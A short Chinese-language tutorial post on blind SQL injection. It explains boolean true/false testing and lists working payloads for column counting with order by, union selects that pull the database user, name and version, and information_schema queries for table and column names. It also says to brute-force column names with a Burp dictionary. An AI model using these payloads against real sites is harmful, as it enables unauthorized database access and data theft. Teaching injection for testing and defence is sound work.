SQL盲注
-
不显示数据库内建的报错信息
-
-
内建的报错信息帮助开发人员发现和修复问题
-
报错信息提供关于系统的大量有用信息
-
-
当程序员隐蔽了数据库内建报错信息,替换为通用的报错提示,sql注入将依据报错信息判断注入语句的执行结果,即盲注
-
思路:既然无法基于报错信息判断结果,那就基于逻辑真假的不同结果来判断
1' and 1=1--+(+代表空格)
1' and 1=2--+(+代表空格)
如果是真的话,会返回参数,如果是假的不会报错,逻辑语句被执行,证明有sql注入漏洞
1' order by 5--+(+代表空格) #无返回参数,说明超过列
1' order by 2--+(+代表空格) #有返回参数,说明至少存在两个列
-
掌握了这个规律之后,我们就可以按照之前的sql语句去执行了
查询用户,数据库,版本
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+ (+代表空格)
查询原数据库中表名
1'and 1=0 union select null,table_name from information_schema.tables#
查询当前的表名
1'and 1=0 union select null,table_name from information_schema.columns where table_name='users'#
之前我们说过,如果我们无权读取information——schema库 / 拒绝union、order by语句时候,可以用猜测的方法;
-
猜测列名:
1' and user is not null--+ (+代表空格)
其他不演示了,之前演示过了,用bp字典去跑就行了 ,不明白的看我之前的文章!
没有回复内容